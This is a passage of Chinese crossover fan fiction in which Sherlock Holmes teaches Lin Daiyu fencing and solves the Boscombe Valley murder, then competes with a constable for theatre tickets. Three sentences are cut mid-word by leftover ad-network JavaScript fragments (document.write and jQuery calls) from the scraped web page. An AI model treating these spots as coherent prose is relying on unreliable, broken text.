佩星丝双手捂住脸,说:“是我害了他,当时我在池塘边采摘鲜花,碰巧看见了小麦卡锡和他的父亲在吵架,我没想到——我的证词会成了他杀害父亲的证据。” 黛玉把佩星丝揽入怀中,安慰她,说:“今天早上福尔摩斯来到这里,我相信福尔摩斯会还原事情的真相。” …… 林府。 林如海一开始并不能接受自己的女儿要和那个长相怪异但又英俊的男子学习剑术。 但福尔摩斯的编造能力是一流的,他说黛玉可以通过练习剑术来提高身子的健康状况。 林如海自然不会相信福尔摩斯的鬼话,但又听黛玉说正是福尔摩斯治好了自己,因此林如海再不相信,也只能半信半疑地同意福尔摩斯的请求。 福尔摩斯所学习的剑术和东方大不相同,他就地取材,从园子里的竹林砍一根竹子,竹竿留有九十多厘米,将竹竿的一头削尖,另一头钉上皮革,作为黛玉的花剑。 这是黛玉第一次接触运动,在贾府时,她只见过宝玉在园子拉弓射箭,自己和众姊妹只能在闺房里做针线活。 黛玉没想到自己也有耍刀弄枪的这一天。 福尔摩斯把制作好的花剑递给黛玉,说:“这就是你练习的工具。” “我怕我不行。”黛玉信心并不足,“父亲说过我的身子不能承受。” 福尔摩斯扬眉,生硬地说:“我想我知道你身子不好的真正原因。” 16.剑法 黛玉摇摇头,说:“我知道我身子不好的原因,从小自从吃饭就会吃药,这是先天带来的弱症。” 福尔摩斯摆手,说:“我认为也有心理作用的因素,你每天都在暗示自己的身子弱,强调自己身子不好,这怎么可能会好起来?” “你应该积极地暗示自己,暗示自己的身子一天比一天好。”福尔摩斯继续提点黛玉。 林黛玉低头喃喃自语:“积极暗示。” 福尔摩斯放下竹竿制作的花剑,说:“林小姐,我知道你的身子弱,所以自从进入林府,我就一直建议你多走走锻炼身体,你现在可以数数,你坚持了多少天?” 林黛玉的声音变得小起来,弱弱地说:“已经快一个月。” “正是这样。”福尔摩斯指向平放在地上的花剑,“所以你有足够的精力去练习最基本的剑法。” 福尔摩斯说完,重新拾起花剑,递给黛玉。 这下黛玉才接过花剑,花剑比她想象中的还要轻盈些,让黛玉感到意外的是,花剑上握手处钉上的皮革正合黛玉手掌的大小,皮革太长会容易导致多出来的部分脱落,皮革太短又容易刮手。 “难为你想的如此周全。”黛玉笑问,“这也是奇了,你怎么能碰巧裁剪出如此合手的剑柄。” 如果不是福尔摩斯不能进入小姐的绣房,黛玉真的会怀疑福尔摩斯在趁自己睡觉时偷偷丈量自己的手掌大小。 福尔摩斯有些小得意,说:“其实也不难,只是我发现你读书时有个习惯,你喜欢把书本握在手中或者捧着读,这就导致书本封面的上方和下方磨损程度不同,而且我用双面放大镜观察到封面下方指纹痕迹比上方密集,所以我就凭指纹疏密来大胆推论出来。” 黛玉见福尔摩斯说的如此出神入化,只是半信半疑地看着他。 旁边的雪雁听见福尔摩斯的话,捧腹弯腰,对黛玉笑说:“姑娘别信了他的混话,其实是前儿他偷偷来让我比划一下姑娘手掌,我就告诉他了。” “我说呢。”林黛玉也不气恼,只是看着福尔摩斯,想知道他接下来怎么办。 福尔摩斯一本正经回答:“我只是做出最后的验证,在问雪雁姑娘前我早就心中有数。” 雪雁捂嘴偷笑,看了黛玉又看了看福尔摩斯。 林黛玉也拿出绣帕偷笑,说:“想要我相信你也不难,我且问你,你观察那么多本书,你认为哪一本书是最好。” 福尔摩斯摇摇头,他向来对文学并不感兴趣,他最多偶尔看莎士比亚的作品。 黛玉有些失望。 “不过我观察的书本里,有一本书基本都被翻烂了。”福尔摩斯回忆前几天他接受林如海的邀请去书房看书,想起他注意到有一本书已经被翻得很旧。 林黛玉问他是哪一本书。 福尔摩斯摊手,说:“我并不认识那么多中文,林小姐,你知道我只会一些简单的中文日常用语。” 黛玉这时才注意到福尔摩斯的中文交谈已经变得流利许多。 福尔摩斯拍了拍手掌,说:“林小姐,现在我们来学习基本的握法。” 福尔摩斯伸出骨节鲜明的手指,黛玉看见他苍白的手指上有不少细小的伤口。 “你的手……”黛玉明白这是福尔摩斯在制作花剑时不小心受伤的。 “没什么。”福尔摩斯无所谓地摇摇头,“林小姐,你看好我的握法。” 尽管黛玉有些担心福尔摩斯手上的伤口,但进入学习状态中的她是非常专注的。 从握法到步法,不一会儿黛玉就感觉全身微微出汗,福尔摩斯对她要求也没有太高,看见黛玉有些力不从心,于是就停止训练,表示今天就练习到这里。 而福尔摩斯与黛玉一同练习剑法的场面,都被站立在窗边的林如海看在眼里。 虽然福尔摩斯全程并没有接触过黛玉,但他们之间近距离的接触让林如海好几次想冲出去把福尔摩斯从黛玉身边拉开。 幸而他们只是在林如海的院子里练习,并没有被外人看到。 林如海远远看着身高挺拔的福尔摩斯,生怕这个来路不明的洋人把自己的女儿拐跑了,因此训练结束,林如海就让林黛玉马上回闺房休息,不给福尔摩斯和黛玉相处的机会。 福尔摩斯当然明白林如海的小心思,但他并不以为然,甚至觉得林如海小题大做,恐怕林如海都不知道黛玉所做的这一切都是为了西洋的药方。 林黛玉辞过福尔摩斯,回到自己的房间,福尔摩斯手上的伤口仍然历历在目,如果这伤口是他自己淘气弄出来的,黛玉定要打趣一翻。 但这伤口是因为她自己,尽管这伤口并不严重,但黛玉还是感觉有些过意不去。 于是黛玉叫来春纤,让她去取一包涂抹伤口的药粉,去送给福尔摩斯。 黛玉知道父亲不想让自己与福尔摩斯有过多接触,才选择面生的春纤。 “也顺便这这纸条给他。”黛玉提笔用英文写下这药包的每天涂抹次数,然后递给春纤。 见春纤去了,黛玉才略放下心。 …… 英国。 黛玉安抚悲伤的佩星丝,她能理解一个十四十五岁女孩面对凶杀案的无措和难过——尤其是在案件发生时这个可怜的女孩就在案发现场的不远处。 如果黛玉之前没有和福尔摩斯经历过各种案件,她未必也能接受得各种凶手案。 她们来到池塘边,看见福尔摩斯和华生以及斯坦莱警官就在池塘的对岸。 斯坦莱第一个发现渐渐走来的林黛玉,热情地朝她招手,接着华生也看见了黛玉,但他只是严肃地朝黛玉点头,表示打了个招呼。 至于福尔摩斯,他头也没抬,似乎没意识到黛玉的到来。 探案的福尔摩斯全神贯注地半蹲着检查地上的线索,福尔摩斯时而脸色铁青,时而露出神秘的微笑,时而仰头看天,又时而低头思索,仿佛在欣赏一幅美丽的油画。 为了不打扰福尔摩斯搜寻线索,黛玉和华生悄悄走到一边。 “林黛玉小姐,回伦敦后有兴趣来我的新诊所看看吗?”华生发出邀请,“在你离开的日子,我成功开设了一家诊所。” “恭喜你。”黛玉衷心祝贺,“那么意味着只有福尔摩斯一个人居住在贝克街。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “是的。”华生回答,“我已经搬出贝克街有一段时间。” 黛玉轻轻摇头,说:“我不敢想象福尔摩斯一个在贝克街的日子会是怎么样的,但愿哈德森太太不会因此而发疯。” 华生眨了眨眼睛,他知道黛玉是打趣福尔摩斯不会像黛玉和华生自己收拾房间,从而导致房屋乱糟糟的。 但作为福尔摩斯的挚友,华生在外人——尤其是黛玉面前,他还是努力挽留福尔摩斯的面子。 “福尔摩斯是专心于手上的事情,所以才没有时间收拾东西。”华生生硬地解释。 “我可就不一样了。”斯坦莱的声音突然从两人背后传来,“作为一名警察,井然有序的房间是必不可少的。” “抱歉,我刚才不小心偷听到了你们的对话,希望你们不介意。”斯坦莱露出不好意思的笑容。 华生大方地回答:“当然不会介意。” 斯坦莱双手交叉抱于胸前,假装不经意地说:“听你们的对话内容,福尔摩斯先生似乎并做不到井然有序。” 林黛玉没有搭理他,倒是华生有些不高兴,对斯坦莱说:“这不重要,或许对福尔摩斯来说,还有比这种整理房间的小事重要。” 福尔摩斯终于起身,向他们走来,说:“我想我知道要找的人是谁了。” 斯坦莱问福尔摩斯是谁。 福尔摩斯故作神秘地摆手,说:“这涉及到委托人的隐私,我恐怕不能告诉你。” 斯坦莱当然不会满意福尔摩斯这样的回答,冷冷地说:“那我拭目以待。“ “不过我可以给你一些提示。”福尔摩斯懒洋洋地说,“根据池塘边的脚印,我找到了一样东西。” 福尔摩斯向众人举起石头,指向不远处树林下方的草地,说:“这就是证据之一。” “这破石头有什么特别的地方?”斯坦莱上前凑近仔细观察石头,发现并没有什么线索。 华生是医生,仔细观察石头后发现上面沾着一些血迹,当然经过这几天雨水的冲刷,上面的血迹已经变得不明显,对于不是专业的医生来说,可能容易把血迹视为石头上面的痕迹。 黛玉的注意力并没有像两人放在石头本身上,而是注意到树林下方有一小片草丛被压下的痕迹——那里正是福尔摩斯拾起石头的地方。 “我想福尔摩斯先生认为这石头就是凶器,因为石头下的草只是被压弯了,这意味着凶手在使用石头杀人后就扔到这里,这不是石头原来的位置。”黛玉解释。 福尔摩斯赞许地看了看黛玉,说:“没错,所以我猜测小麦卡锡在发现父亲受伤后,凶手就躲在这树林里。” 福尔摩斯率先上前,用手杖拨开草丛,发现草丛里正隐没一条小道,而这条小道正是通往另一个地方。 福尔摩斯领着大家穿过密林,行走在小道上,来到公路边。 “线索中断了吗?”华生东张西望,发现不远处就是哈瑟里农场。 福尔摩斯信心十足地回答:“恰恰相反,我更加确定凶手的身份。” 接着福尔摩斯转向黛玉,说:“小姐,我可能需要你一点小小的帮忙。” 17.邀约 林黛玉带着佩星丝回到博斯科姆比庄园的别墅中,正如福尔摩斯预料的那样,特纳小姐找上了黛玉。 “林小姐,我的父亲已经醒来了,你和我一起去见一见他吧。”特纳小姐解释说,“他害怕我骗他讨要药方,所以需要你出面和我的父亲说一说。” 黛玉心中有些奇怪,为何这位特纳先生会如此紧张自己的药方,难道这药方有见不得人的地方? 正思索着,黛玉和特纳小姐进入了特纳先生的房间,才刚踏入房间,一股腐烂和腐朽的气味扑鼻而来。 房间里摆满了各种古董和油画,黛玉留心观察,合理猜测这些东西基本都是上百年前东西。 特纳先生正依靠在床上,高高的枕头磊住他的腰,让他可以轻松地看着进来的客人。 这个老人满脸皱纹,一头银白又乱糟糟的头发,眉毛下垂,目光深邃,看起来仪表堂堂,甚至不像是个生命垂危的老人。 黛玉和特纳小姐在床前的扶手椅子坐下。 “父亲,她就是我说的客人。”特纳小姐率先介绍。 特纳先生先是慈爱地看着自己的女儿特纳小姐,随后目光炯炯地看着黛玉,全然不见老人眼珠混浊的迹象。 被一个如此有威严的老人严肃地盯着,黛玉感觉有些紧张,但她镇定下来,解释说自己寻药方是为了救治自己的父亲。 特纳先生的目光变得有些柔和,说:“所以你不会把这些药方到处售卖。” “父亲,她可是著名的作家,是不会缺钱到贩卖药方的地步。”特纳小姐替黛玉解释。 特纳先生仿佛是想到了什么,长叹道:“既然如此,我就把这药方交给你吧。”他指向房间尽头的一个柜子,“把第二层抽屉拉开,里面有一个精致的盒子,药方就在盒子里。” 黛玉谢过特纳先生,拿了药方便离开了这个看起来暮气沉沉的房间。 她走到楼下,福尔摩斯已经等候多时,他看见黛玉,第一句话就是问她特纳先生的情况如何。 “他看起来并不像一个卧床不起、生命垂危的人。”黛玉轻声说,“他声音洪亮,甚至看起来有点神采奕奕。” 华生感到疑惑不解,说:“特纳先生可是麦卡锡的好朋友,自己的好朋友才刚死去不久,他应该感到悲痛欲绝才对,没想到他实际的状态并不像传闻中那样虚弱。” 福尔摩斯笑说:“证据越来越多,这件事情也越来越清晰。华生,和我上楼,一起会一会特纳先生。” 斯坦莱见福尔摩斯和华生上楼,也要跟了上去,但福尔摩斯却罕见地转过身,厉声说:“你不用上来跟我们。” “为什么?”斯坦莱感到一头雾水。 福尔摩斯有些不耐烦地回答:“我之前已经把机会摆在你面前,但你没有珍惜它,现在你已经没有机会了。” “多谢你的提醒。”斯坦莱挺直腰板,“那我就去找林小姐,我相信她会很乐意告诉我。” “华生,走。”福尔摩斯挥手,让华生跟上,似乎并不在意斯坦莱去找黛玉的行为。 福尔摩斯忍住推门进入的冲动——凶手就在里面,他敲了敲特纳先生的房门。 “进来。”当坐在床上的特纳先生看见进来的是福尔摩斯时,脸上闪过一丝惊讶。 福尔摩斯不想和杀人犯周旋,开门见山说:“告诉我,你为什么要杀了麦卡锡,还嫁祸给他的儿子。” 特纳先生沉默不语,最后才缓缓说:“你有什么证据?” 福尔摩斯从口袋里掏出信封,抖了抖放在手心,上面是雪茄烟的烟灰,说:“这就是证据,据我所知,这里除了你没有人能抽得起雪茄烟。” 特纳先生冷笑回答:“麦卡锡他也有不少雪茄烟——这还是我给他的,你怎么就可以确定这雪茄烟不是麦卡锡留下的?” “很好。”福尔摩斯见特纳先生不承认,继续抛出证据,“那么你怎么解释你的方头鞋脚印,如果我没猜错,你走路是一瘸一拐的。” “还有这块石头。”福尔摩斯继续从信封拿出证据,摆在特纳先生面前。 特纳先生愣神看了这些无法反驳的证据,只得绝望地承认自己的所作所为。 特纳先生双手捂住脸,痛苦地说:“我会说出一切,但我向你们保证,麦卡锡也不是无辜的。那天我约他到池塘边,发现小麦卡锡和他正在吵架,等小麦卡锡离开后,我用石头砸了他,没想到他的叫声引来了他儿子,所以我赶紧跑到树林里躲着。” “麦卡锡一家毁了我的一生,还想毁了我唯一的女儿的人生。”特纳先生语气变得有些激动,“我暴富并不是靠什么金矿,而是我和兄弟们在澳大利亚做了不见得人的勾当,靠抢劫积累财富,从古董和金子再到失传的油画和药方,我都是从别人身上抢来的。” 福尔摩斯迅速梳理线索,接过话头,说:“我猜测你在那时就认识了麦卡锡。” “是的。”特纳先生懊悔地说,“当时我就应该杀了他,我看他可怜才放过了他,没想到他竟然带着儿子跑到英国来找我。” “所以你曾经违法犯罪的过去变成了他的把柄。“福尔摩斯一下子就理解了特纳先生的想法,果然特纳先生和麦卡锡并不是外界传闻中的好友。 特纳先生重重地锤了床,说:“我把我最好的农场都给了他,可他还不满足,竟然想让我的女儿嫁给小麦卡锡。” “但事实上,你的女儿正是我的委托人。”福尔摩斯冷冷地说,“你们之间的恩怨不应该带到下一辈来。” “反正我快要死了。“特纳先生说,“我最多活不过一个月了,难道我人生中最后的时间只能呆在监狱里了吗?” “我认为不会。”福尔摩斯回答,“我不是警探,我只是来出面收集证据证明小麦卡锡是无辜的。” 福尔摩斯把一张证明书递给他:“签上你的名字,后面的事情我有办法,祝你和你的女儿过好人生最后的日子。” 拿走签好的证明书,福尔摩斯和华生起身离开。 福尔摩斯才刚走出别墅,就看见花园里的黛玉和斯坦莱。 斯坦莱似乎讲了一件有趣的事情,引得紫鹃和雪雁咯咯笑。 华生刚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想挥手打招呼,却被福尔摩斯制止了。 微风吹过花园,斯坦莱的声音清楚地传到远处福尔摩斯的耳畔。 “林小姐,你有兴趣看戏剧吗?”斯坦莱问黛玉,“我正好多了一张票。” “戏剧?”黛玉十分喜欢看欧洲的戏剧,尤其是近两年她一直在东方,很久没有看过戏剧,这对她来说无疑是个极其诱惑的事情。 斯坦莱看见眼睛闪闪发光的黛玉便知道成功了一半。 “戏剧名叫什么?”黛玉问。 斯坦莱皱眉努力回忆,说:“好像叫什么《绿珠小姐》” 黛玉悄悄弯了弯嘴角,这是她离开伦敦之前递给剧院的作品,没想到过去快两年,现在已经顺利上映。 “你怎么会想到买这戏剧的票?”黛玉觉得斯坦莱这种男人,是很少会去看这种戏剧。 斯坦莱不好意思微笑说:“因为我上次帮忙维持剧院外的秩序,剧院院长就给了我三张《绿珠小姐》的票。只不过有一张票给了我的同事。” 尽管黛玉很心动,但还是摇摇头,看了看雪雁和紫鹃,“恐怕不行,我不能抛下我的两位朋友。” 紫鹃知趣地回答:“我倒是可以不用去。” 雪雁撇嘴,说:“我也要和姑娘去。”她不放心让黛玉一个人去剧院,尽管剧院会比自己想象中的要安全。 斯坦莱警官看着雪雁,摊手说:“然而我现在手上只有两张票。” “那正好,姑娘一张我一张。”雪雁果断地回答。 斯坦莱想说其实有一张是留给自己的,但又担心把黛玉吓跑——相处下来的这段时,斯坦莱了解黛玉是个谨慎的人。 “我怎么没想到!”斯坦莱夸张地拍了拍脑门,从口袋里掏出两张票来,恋恋不舍地递给雪雁。 黛玉看见斯坦莱的神情,以为他是舍不得这些票,便说:“斯坦莱先生,这张票还是留给你自己吧,我可以去买。” “林小姐,这《绿珠小姐》的戏可是一票难求,恐怕你现在也买不到了。”斯坦莱见黛玉有推辞的意思,有些着急。 黛玉还是没有接过票。 作为《绿珠小姐》的作者,黛玉并不需要买票,只是她很好奇在自己离开伦敦的这段时间,《绿珠小姐》会被改编成什么模样。 黛玉明白眼下有这一类人,喜欢把作品改得面目全非,白白糟蹋了他人的心血,若自己亲自出面向剧院院长索要票,恐怕这院长不一定会给自己票,或者是连夜将戏剧改成原来的模样,而不是给黛玉展示演出给观众的模样。 想到这里,黛玉还是接过了票,她想以观众的身份去欣赏自己的作品,看看剧院是否将自己的作品改得面目全非。 “多谢斯坦莱先生。”黛玉接过票,上面的时间写着是下周五下午两点。 斯坦莱很高兴地看到黛玉接受了自己的心意,心底暗自决定他一定要从同事手中拿到第三张票。 这些对话都被不远处的福尔摩斯和华生听到,华生拉了拉福尔摩斯的衣袖,表示福尔摩斯也赶快行动,人家已经约上了林黛玉小姐。 18.告密 福尔摩斯看起来似乎不为所动,尽管旁边的华生露出很着急的神情,福尔摩斯还是对此表示不在意。 “华生,我们现在可以返回伦敦,我要见一见我哥哥。”福尔摩斯低头看了看特纳先生写的陈述书,卷起来放进口袋里。 华生有些无语地瞪了福尔摩斯一眼,他觉得福尔摩斯对感情上再迟钝,也能看出来那个年轻的警官对黛玉有点意思。 “斯坦莱!我们已经收集好证据了。“华生走过去,打断斯坦莱和黛玉的幽会——在华生眼中是这样的。 “噢,是吗?”被打断的斯坦莱显然有些不高兴,“那么我也可以回警局了。” 接着斯坦莱转身对黛玉说:“林小姐,你愿意和我一起乘坐警车回伦敦吗?” 华生朝黛玉招手,说:“林黛玉小姐,和我们一起。” “你们的车够大吗?”斯坦莱哼了一声,罕见地对华生有些不满。 福尔摩斯终于接过话头,说:“因为我们知道林黛玉小姐的住处,而且你作为警察,我记得有警车不许私用的规定。” 斯坦莱只得作罢。 但最后黛玉也没有上福尔摩斯的车,因为特纳小姐也要去伦敦一趟,因此黛玉和紫鹃雪雁选择和特纳小姐乘坐特纳先生的车一同前往伦敦。 …… 林府。 在福尔摩斯的帮助下,黛玉的剑术练得越来越熟练,而伴随的是黛玉的身子也变得越来越好。 林如海看着黛玉的小脸由苍白变得红润,也不再插手福尔摩斯和黛玉之间的剑术练习。 但现在又有一个困难摆在林如海的面前,他发现府里有些下人鬼鬼祟祟,十分不安分,尽管林如海都找个由头把那些让他起疑心的下人打发出去了,林如海仍然感觉心里不安,他担心有人要对自己的女儿下手。 于是在这些日子,林如海对黛玉更加严加管教看守。 这一日,在练习完剑法后,福尔摩斯给黛玉带来了一个消息——维多利亚号已经停靠在港口上。 黛玉裹紧了身上的披风,说:“那么我们离开就在这几天。” “是的。”福尔摩斯压低声音,“你不必非要去的。” “福尔摩斯,你不必再劝我,我是不会打消我的想法。”黛玉想起自己的父亲只有几年的寿命,摇摇头,“我会想办法和你下西洋。” “那么你的办法是?”福尔摩斯眼底闪过一玩味,他很好奇黛玉离开的办法是否和自己想到的办法相同。 黛玉轻声回答:“如今快到年下,我会告诉父亲我以拜访外祖母的名义乘船北上,实则和你下西洋。” “你很聪明。”福尔摩斯点头,“这也是我替你想到的法子。” 辞过福尔摩斯,黛玉回到房间,开始命令雪雁和紫鹃收拾东西。 “姑娘是打算回京城了吗?”紫鹃伶俐,猜测黛玉的想法。 黛玉回答:“是的,就在这几天我们就要回京城。” 紫鹃非常积极地收拾东西去了,尽管紫鹃认为林府才是黛玉真正的家,但对于紫鹃来说,贾府才是她的家,这一连几个月,紫鹃就已经十分怀念贾府。 比起紫鹃的积极,雪雁就有些不情愿,她见紫鹃离开房间后,才劝黛玉:“姑娘,姑娘真的是要回贾府,还是要和那个人下西洋?” 黛玉对雪雁道:“你就安分收拾东西,我自有我的想法。”言毕,黛玉便往父亲的房屋,向父亲告知自己要回贾府的想法。 林如海对于这突如其来的决定吓了一跳,他没想到自己的女儿竟然选择离开林府,而到京城去。 “好。”林如海镇定下来,“既然玉儿想去外祖母家,为父也能理解,等年节过去了,我就携着玉儿上京。” 黛玉狠下心,摇头说:“父亲,女儿想选择这几天上京,在年前陪伴外祖母以及众姊妹。” “好。”林如海心冷了一大半,看来他的玉儿是要决心离开林府了。 烛火摇晃,在明暗不定灯光下,黛玉看着父亲憔悴的面庞,心里纵然有百般不舍,也没有打消下西洋的计划。 她欺骗了父亲。 林如海无力地摆了摆手,说:“也好,你外祖母家里人多热闹,你去了也好。” “父亲……”黛玉忍住解释的冲动,“我回房间收拾东西了。” 林如海点点头,默默看着黛玉离去的身影,想黛玉去了京城也好,当年他送黛玉上京,一是因为母亲已经过世,家里没有德高望重的女性长辈可以教导黛玉,二是因为林府里一连二三去世了两个至亲,从儿子到妻子,林如海不能保证自己的政敌不会对黛玉下手。 因此当年林如海送黛玉入京都也是为了保护黛玉,至少在贾府的庇护下,没有人敢对黛玉下手。 如今林如海已经辞官,他猜测那些政敌也见好就收,所以现在的林如海是不想让黛玉入贾府。 但从这几日的观察来看,林如海觉得那些政敌越发明目张胆,自己少不得也豁出官场来对付政敌,所以黛玉选择这时候离开林府也不算坏事。 只是林如海舍不得让黛玉再次进入贾府。 林如海正低头思索着,忽然听见有脚步声传来,他以为是云姨娘,有些不耐烦地摆了摆手。 进来的是雪雁。 看见是女儿身边的丫鬟,林如海有些惊讶,尤其是看见雪雁欲言又止的神情,心里更加疑惑了几分,说:“你不去帮玉儿收拾东西,跑来这里做什么?” “老爷。”雪雁有些吞吞吐吐,“姑娘她……” “玉儿怎么了?”林如海看见雪雁这表情,不好的预感涌上心头,“她有事情要交代什么?” 雪雁深吸一口气,努力让自己站稳,缓缓说:“老爷,姑娘并非上京回贾府,而是要和那个福尔摩斯下西洋……” 林如海第一反应是觉得雪雁疯了。 雪雁看见林如海的表情,自知说错了话,忙道:“奴婢也只是隐隐约约听说的,或许听错了也未可知,老爷不必往心里去。” “我知道了,这是没有的事 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !”林如海比自己想象中的要冷静许多,“你不应该捕风捉影。” 雪雁只得退下。 现在的林如海更加感到心烦意乱,在几分钟前他好不容易安慰好自己,现在雪雁这个荒唐的消息让刚做好心理建设的林如海破碎了。 林如海细细回忆林黛玉和福尔摩斯的相处,从学习奇怪的语言到剑术,这让他不得不重新审视雪雁带来的消息。 他得要会一会那个福尔摩斯。 …… 伦敦。 福尔摩斯和华生没有返回贝克街221B,而是往蓓尔美尔街去。 他们来到一间宽大又豪华的屋子,福尔摩斯选择一张靠近临街的桌椅,让华生坐下,自己穿过大厅。 过了一会,华生看见福尔摩斯和他的哥哥一前一后走进来。 “上午好,麦克罗夫特。”华生率先打招呼。 和福尔摩斯瘦削的身子相比,麦克罗夫特显得身材魁梧,体格健壮,宽大的脸庞有和福尔摩斯一样的淡灰色眼睛。 “你好,华生。“麦克罗夫特伸出像海豹般又肥又大的手掌,有力地握住华生的手。 兄弟俩在华生面前坐下,福尔摩斯拿出特纳先生的陈述书,递给麦克罗夫特。 “这就是你说的溪谷秘案?”麦克罗夫特懒散地伸出两根手指,夹过陈述书,快速地浏览了一遍,“我会拿给相关的政府工作人员——不过这不是你来找我的主要目的吧?” 福尔摩斯扬眉,他的哥哥果然一下子就猜到自己还有别的事情要交代。 仿佛是看穿福尔摩斯的想法,麦克罗夫特指了指华生鞋尖上的一点泥巴,说:“你们是刚从那个溪谷赶来的,虽然我没比你了解华生,但我也知道华生进屋回家第一件事情肯定是要把鞋尖上的泥巴洗干净,所以我推测你们是直接从溪谷赶来,并没有回家。” 华生赞许地点头——抛开他是爱干净的医生不谈,他的未婚妻绝对不能容忍自己踩着满鞋泥巴进家。 麦克罗夫特扬了扬手中的陈述书,说:“上面并不是什么紧急的事情,小麦卡锡的下一次开庭在下周,所以你们没必要亲自赶来把这东西给我。“ “说吧,亲爱的弟弟,你有什么事情?”麦克罗夫特有些得意地看着福尔摩斯。 福尔摩斯缓缓说:“我需要一部戏的票,我想你作为政府工作人员,应该也有特殊的途径搞到一张票。” “戏剧的票?”麦克罗夫特试探问,“是莎士比亚的那几部戏?” “不是,是最近上映的《绿珠小姐》”福尔摩斯回答。 旁边的华生十分欣慰地看着福尔摩斯——他终于在这方面开窍了。 “这不像是你喜欢的风格。”麦克罗夫特有些玩味地看着福尔摩斯,“是为了那个东方女孩?” 福尔摩斯生硬地回答:“就问你有没有?没有我就不去了。” “这可不是求人的态度,弟弟。”麦克罗夫特敲了敲桌面,“我没有,但是我在警局的朋友有这部戏的票。” 19.抢票 麦克罗夫特饶有趣味地看着福尔摩斯,说:“你似乎很在意这件事情。” 福尔摩斯不想承认,但对于总是高自己一头的哥哥,他知道自己根本就隐瞒不了麦克罗夫特。 “是的,我需要这张票。”福尔摩斯艰难地承认自己的想法。 “那就拿出你的诚心。”麦克罗夫特高兴地告诉福尔摩斯,“我不会出面去向我的朋友讨要这戏票。你亲自去和他要吧。” 福尔摩斯生硬地挤出一句话,说:“难道你作为一名政府工作人员,连一张戏票都拿不到吗?” “啊哈。”麦克罗夫特说,“我当然可以凭身份轻而易举地搞到一张戏票,不过是我不想而已,快去找雷斯瑞德警探吧。说不定去晚了就没有了。” 福尔摩斯对自己哥哥的行为无可奈何,只得起身头也不回地离去。 “华生,你回家吧。”福尔摩斯打发华生,他克制揉了揉自己的太阳穴的冲动,否则华生又大惊小怪地以为他身子不舒服。 华生坚定地说:“福尔摩斯,我陪你去,我相信不会耽误太久的。” 福尔摩斯感觉有些头疼,好消息的是,他认识麦克罗夫特所说的警探,坏消息是,他和这个警探的关系并没有那么和谐——至少当时一起探案时福尔摩斯没少和那个警探起争执。 福尔摩斯才刚踏入警局,就远远看见斯坦莱迎面而来。 “福尔摩斯先生,你怎么又来了?”斯坦莱不太高兴地问他——事实上斯坦莱并不太想搭理福尔摩斯,只是碍于警察的身份,不得不主动询问这个大侦探。 福尔摩斯的目光越过斯坦莱的肩膀,问:“雷斯瑞德警探在哪里?” “噢,你是在找他。”斯坦莱狐疑地打量着福尔摩斯,“他现在正为一件案子忙得不可开交,恐怕他没时间见你。” “他又遇上了麻烦的案子?”福尔摩斯瞬间来了兴趣,脸上变得熠熠生辉,“那我更得要见见他了。” 华生在福尔摩斯旁边轻轻地咳嗽了一声,提醒他不要忘记来警局的真正目的。 斯坦莱似乎很不愿意让福尔摩斯与雷斯瑞德见面,冷冷地说:“我想他并没有主动寻求帮助,福尔摩斯先生你如此会不会太没礼貌了。” 福尔摩斯不甘示弱回怼:“没礼貌吗?难道要等发生像小麦卡锡无辜入狱的事情后你们才来找我?” 斯坦莱知道自己理亏,不再敢说话。 “小警察。”福尔摩斯伸手拍了拍斯坦莱的肩膀,眼底是藏不住的得意,“你还有很多东西要学习。告诉我,雷斯瑞德警探在哪里?” “就在左拐尽头的112房间。”斯坦莱虚弱地回答。 “多谢。”福尔摩斯扶正斯坦莱的帽子,整理自己的衣服,迈着修长的腿快速走向走廊尽头。 华生也没有给斯坦莱脸色,朝他点头后就赶紧去跟上福尔摩斯。 福尔摩斯敲响112的房门后,听见里面传来疲惫的“请进”的声音,才推门进入。 福尔摩斯看见雷斯瑞德警探正坐在一堆案卷面前,脸上难受的表情像是便秘了许多天。 “啊,福尔摩斯先生,我没想到你竟然来了。”雷斯瑞德警探仿佛是看见救命稻草从天而降,热情地起身招呼福尔摩斯。 福尔摩斯没有直接讨要戏票,而是问起案件的情况。 雷斯瑞德一时没想到福尔摩斯的来意,说:“这个案子让我毫无头绪,一个王冠莫名其妙地失踪了。” “王冠失踪?”华生问,“这不会是英国皇室里的王冠吧?” “正是。”雷斯瑞德压低声音,“这涉及到皇室,我不得不小心,而且最可怕的事情是女王对王冠的失踪并不知情,而过几天就是女王开设的宴会日,那天女王将会戴着王冠,因此我必须在这几天内找到凶手并且找出王冠。” “这对你来说很难。”福尔摩斯低头思索,“如果你能给我一样东西,或许我可以帮你解决问题。” “什么东西?”警探扬眉。 福尔摩斯慢慢回答:“《绿珠小姐》的戏票。” “《绿珠小姐》的戏票?”雷斯瑞德警探感觉有些不可思议,“我没想到你有看戏剧的爱好。” “福尔摩斯先生确实喜欢看戏剧。”旁边的华生见缝插针回答了一句。 雷斯瑞德似乎有点被搞糊涂,说:“为什么总有人都想来要这部戏的戏票?” “还有别人和你讨要过戏票?”福尔摩斯起了警心。 “是的,刚才那个年轻的小伙子也向我要《绿珠小姐》的戏票。”雷斯瑞德回答。 华生焦急地追问:“那你给他了吗?” “当然没有,我让他先好好收尾小麦卡锡的事情——可怜的小麦卡锡,如果没有你的帮助,他就要被送上绞刑架。”警探回答。 雷斯瑞德警探细细打量着福尔摩斯,继续说:“斯坦莱和你,我不知道要把戏票给谁。” 福尔摩斯冷冷回答:“斯坦莱他自己也有戏票。” “他说戏票已经给了女性朋友,所以他需要从我这里拿戏票来和一个美丽的小姐约会,那么福尔摩斯先生,你为什么要阻扰一位先生对美丽的小姐的追求和约会呢?”雷斯瑞德对福尔摩斯的行为感到疑惑不解。 华生看了看福尔摩斯,朝他微微点头,示意福尔摩斯实话实说,说自己也是用戏票来约会的。 但鼎鼎大名的大侦探怎么会承认自己也要拿戏票去约会。 见福尔摩斯没有说话,华生只得指了指自己,说:“其实是我想要这张票,我想给我的未婚妻一个惊喜。” 雷斯瑞德半信半疑地看着华生,摸摸自己的下巴,说:“那我要如何选择,我总不能把戏票撕成两张给你们。” 福尔摩斯信心十足地说:“你把这王冠失踪案交给我和斯坦莱,谁先破案这戏票就归谁的。” 